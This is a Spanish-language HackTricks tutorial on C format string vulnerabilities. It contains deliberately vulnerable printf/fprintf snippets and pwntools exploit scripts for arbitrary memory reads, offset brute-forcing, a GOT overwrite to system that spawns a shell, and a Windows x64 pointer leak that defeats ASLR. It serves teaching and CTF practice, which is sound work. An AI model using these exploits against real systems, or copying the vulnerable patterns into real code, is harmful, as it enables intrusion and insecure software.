Format Strings
Reading time: 11 minutes
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Información básica
En C printf
es una función que puede usarse para imprimir una cadena. El primer parámetro que espera esta función es el texto crudo con los especificadores de formato. Los parámetros siguientes que se esperan son los valores para sustituir los especificadores de formato del texto crudo.
Otras funciones vulnerables son sprintf()
y fprintf()
.
La vulnerabilidad aparece cuando un texto del atacante se usa como primer argumento de esta función. El atacante podrá crear una entrada especial abusando de las capacidades de la cadena de formato de printf para leer y escribir cualquier dato en cualquier dirección (legible/escribible). De este modo podrá ejecutar código arbitrario.
Especificadores:
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
Ejemplos:
- Ejemplo vulnerable:
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
- Uso normal:
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
- Con argumentos faltantes:
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
- fprintf vulnerable:
#include <stdio.h>
int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}
Accediendo a punteros
El formato %<n>$x
, donde n
es un número, permite indicarle a printf que seleccione el parámetro n (desde la stack). Así que si quieres leer el 4º parámetro de la stack usando printf podrías hacer:
printf("%x %x %x %x")
y leerías desde el primer hasta el cuarto parámetro.
O podrías hacer:
printf("%4$x")
y leer directamente el cuarto.
Fíjate que el atacante controla el printf
parámetro, lo que básicamente significa que su entrada estará en la stack cuando se llame a printf
, por lo que podría escribir direcciones de memoria específicas en la stack.
caution
Un atacante que controle esta entrada podrá añadir direcciones arbitrarias en la stack y hacer que printf
las acceda. En la siguiente sección se explicará cómo usar este comportamiento.
Arbitrary Read
Es posible usar el formateador %n$s
para hacer que printf
obtenga la dirección situada en la posición n, seguirla y imprimirla como si fuera una cadena (imprime hasta que se encuentre un 0x00). Así que si la dirección base del binario es 0x8048000
, y sabemos que la entrada del usuario empieza en la cuarta posición en la stack, es posible imprimir el inicio del binario con:
from pwn import *
p = process('./bin')
payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
caution
Ten en cuenta que no puedes poner la dirección 0x8048000 al principio de la entrada porque la cadena se truncará en 0x00 al final de esa dirección.
Encontrar el offset
Para encontrar el offset de tu entrada puedes enviar 4 u 8 bytes (0x41414141
) seguidos de %1$x
e incrementar el valor hasta recuperar las A's
.
Brute Force printf offset
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
from pwn import *
# Iterate over a range of integers
for i in range(10):
# Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()
# Start a new process of the "chall" binary
p = process("./chall")
# Send the payload to the process
p.sendline(payload)
# Read and store the output of the process
output = p.clean()
# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
# If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}")
break
# Close the process
p.close()
Qué tan útil
Arbitrary reads pueden ser útiles para:
- Dump the binary de la memoria
- Access specific parts of memory where sensitive info se almacena (como canaries, encryption keys o custom passwords como en este CTF challenge)
Arbitrary Write
El formateador %<num>$n
escribe el número de bytes escritos en la dirección indicada en el parámetro <num>
en la pila. Si un atacante puede escribir tantos caracteres como quiera con printf
, podrá hacer que %<num>$n
escriba un número arbitrario en una dirección arbitraria.
Afortunadamente, para escribir el número 9999 no es necesario añadir 9999 "A"s a la entrada; para ello es posible usar el formateador %.<num-write>%<num>$n
para escribir el número <num-write>
en la dirección apuntada por la posición num
.
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
Sin embargo, ten en cuenta que normalmente, para escribir una dirección como 0x08049724
(que es un número ENORME para escribir de golpe), se usa $hn
en lugar de $n
. Esto permite escribir solo 2 Bytes. Por lo tanto, esta operación se realiza dos veces: una para los 2B más altos de la dirección y otra para los 2B más bajos.
Por tanto, esta vulnerabilidad permite escribir cualquier cosa en cualquier dirección (arbitrary write).
En este ejemplo, el objetivo será sobrescribir la dirección de una función en la GOT que se llamará más adelante. Aunque esto podría aprovechar otras técnicas de arbitrary write to exec:
Vamos a sobrescribir una función que recibe sus argumentos del usuario y apuntarla a la función system
.
Como se mencionó, para escribir la dirección suelen hacerse 2 pasos: primero escribes 2Bytes de la dirección y luego los otros 2. Para ello se usa $hn
.
- HOB denomina a los 2 bytes más altos de la dirección
- LOB denomina a los 2 bytes más bajos de la dirección
Luego, por cómo funciona format string debes escribir primero el menor de [HOB, LOB] y luego el otro.
Si HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]
Si HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
Plantilla de Pwntools
Puede encontrar una plantilla para preparar un exploit para este tipo de vulnerabilidad en:
O este ejemplo básico de here:
from pwn import *
elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000 # ASLR disabled
p = process()
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)
p.clean()
p.sendline('/bin/sh')
p.interactive()
Format Strings to BOF
Es posible abusar de las acciones de escritura de una format string vulnerability para escribir en direcciones de la pila y explotar una vulnerabilidad de tipo buffer overflow.
Windows x64: Format-string leak to bypass ASLR (no varargs)
En Windows x64 los primeros cuatro parámetros enteros/puntero se pasan en registros: RCX, RDX, R8, R9. En muchos call-sites con bugs la cadena controlada por el atacante se usa como argumento de formato, pero no se proporcionan argumentos variádicos, por ejemplo:
// keyData is fully controlled by the client
// _snprintf(dst, len, fmt, ...)
_snprintf(keyStringBuffer, 0xff2, (char*)keyData);
Porque no se pasan varargs, cualquier conversión como "%p", "%x", "%s" hará que el CRT lea el siguiente variadic argument desde el registro correspondiente. Con la Microsoft x64 calling convention la primera lectura para "%p" proviene de R9. Cualquier valor transitorio que esté en R9 en el call-site será impreso. En la práctica esto a menudo leaks un puntero estable dentro del módulo (p. ej., un puntero a un objeto local/global previamente colocado en R9 por el código circundante o un callee-saved value), lo cual puede usarse para recuperar la module base y derrotar ASLR.
Practical workflow:
- Inyecta un formato inofensivo como "%p " al inicio de la cadena controlada por el atacante para que la primera conversión se ejecute antes de cualquier filtrado.
- Captura el leaked pointer, identifica el offset estático de ese objeto dentro del módulo (revirtiendo una vez con símbolos o una copia local), y recupera la image base como
leak - known_offset
. - Reutiliza esa base para calcular direcciones absolutas de ROP gadgets y entradas IAT de forma remota.
Ejemplo (python abreviado):
from pwn import remote
# Send an input that the vulnerable code will pass as the "format"
fmt = b"%p " + b"-AAAAA-BBB-CCCC-0252-" # leading %p leaks R9
io = remote(HOST, 4141)
# ... drive protocol to reach the vulnerable snprintf ...
leaked = int(io.recvline().split()[2], 16) # e.g. 0x7ff6693d0660
base = leaked - 0x20660 # module base = leak - offset
print(hex(leaked), hex(base))
Notas:
- El exact offset a restar se encuentra una vez durante el reversing local y luego se reutiliza (same binary/version).
- Si "%p" no imprime un puntero válido en el primer intento, prueba otros specifiers ("%llx", "%s") o múltiples conversiones ("%p %p %p") para samplear otros argument registers/stack.
- Este patrón es específico de la Windows x64 calling convention y de las implementaciones printf-family que obtienen varargs inexistentes desde registers cuando el format string los solicita.
Esta técnica es extremadamente útil para bootstrap ROP en servicios Windows compilados con ASLR y sin primitivas obvias de memory disclosure.
Otros Ejemplos & Referencias
- https://ir0nstone.gitbook.io/notes/types/stack/format-string
- https://www.youtube.com/watch?v=t1LH9D5cuK4
- https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
- https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html
- 32 bit, no relro, no canary, nx, no pie, uso básico de format strings para leak la flag desde el stack (no es necesario alterar el flujo de ejecución)
- https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
- 32 bit, relro, no canary, nx, no pie, format string para sobrescribir la dirección
fflush
con la función win (ret2win) - https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html
- 32 bit, relro, no canary, nx, no pie, format string para escribir una dirección dentro de main en
.fini_array
(de modo que el flujo vuelva a ejecutarse 1 vez más) y escribir la dirección desystem
en la tabla GOT apuntando astrlen
. Cuando el flujo vuelva a main,strlen
se ejecutará con input del usuario y apuntando asystem
, ejecutará los comandos pasados.
References
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.